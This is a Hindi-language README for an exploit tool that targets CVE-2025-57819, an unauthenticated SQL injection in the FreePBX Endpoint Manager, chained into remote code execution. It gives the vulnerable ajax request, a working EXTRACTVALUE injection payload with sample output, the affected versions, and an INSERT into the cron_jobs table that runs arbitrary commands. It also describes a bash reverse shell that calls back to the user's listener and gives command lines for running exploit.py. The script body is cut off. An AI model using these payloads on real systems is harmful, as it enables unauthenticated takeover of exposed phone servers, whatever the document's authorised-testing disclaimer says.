
CVE-2025-57819 -> rce
FreePBX Endpoint Manager की अप्रमाणित SQL इंजेक्शन (CVE-2025-57819) के लिए एक-शॉट एक्सप्लॉइट, जिसे FreePBX cron_jobs तालिका के माध्यम से रिमोट कोड निष्पादन में श्रृंखलित किया गया है।
केवल अधिकृत सुरक्षा परीक्षण / CTF उपयोग के लिए।
एंडपॉइंट मॉड्यूल का ajax हैंडलर brand पैरामीटर को सीधे SQL क्वेरी में जोड़ता है, और मॉड्यूल पथ FreePBX\modules\endpoint\ajax ajax Referrer/प्रमाणीकरण जाँच को बायपास करता है। यह अप्रमाणित त्रुटि-आधारित SQL इंजेक्शन (EXTRACTVALUE के माध्यम से) देता है, जिसमें स्टैक्ड-क्वेरी राइट्स सक्षम हैं।
इंजेक्शन बिंदु:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
प्रमाण (त्रुटि-आधारित रीडआउट):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
प्रभावित: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
इंजेक्शन अपने आप में केवल-पढ़ने योग्य है, लेकिन स्टैक्ड क्वेरीज़ लिखने की अनुमति देती हैं। FreePBX अपने क्रॉन मैनेजर के माध्यम से cron_jobs तालिका से कार्य चलाता है, इसलिए एक पंक्ति सम्मिलित करने से मनमाना कमांड निष्पादन होता है (लगभग 60 सेकंड के भीतर, शेड्यूल * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
इंजेक्ट किया गया कमांड एक bash रिवर्स शेल है। बार-बार कनेक्शन से बचने के लिए पहली कॉलबैक के बाद क्रॉन पंक्ति स्वचालित रूप से हटा दी जाती है।
pip install requests urllib3
Python 3. बिल्ट-इन IP डिटेक्शन (-i/--interface) केवल Linux के लिए है; अन्य प्लेटफ़ॉर्म पर --ip का उपयोग करें।
# Defaults: interface tun0, port 4444 — starts listener, exploits, drops a shell
python3 exploit.py http://{target}
# Pick a different interface / port
python3 exploit.py http://{target} -i eth0 -p 9001
# Set the listener IP explicitly
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
स्क्रिप्ट: